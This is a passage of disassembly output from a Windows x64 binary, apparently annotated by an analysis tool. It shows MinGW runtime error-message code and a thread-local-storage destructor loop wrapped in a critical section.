mov rax, qword [0x1400080a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140002be0
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140002be0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140003310
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140008100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400080e0]
test rbx, rbx
je 0x14000336c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140003363
test rsi, rsi
je 0x140003363
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140003348
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]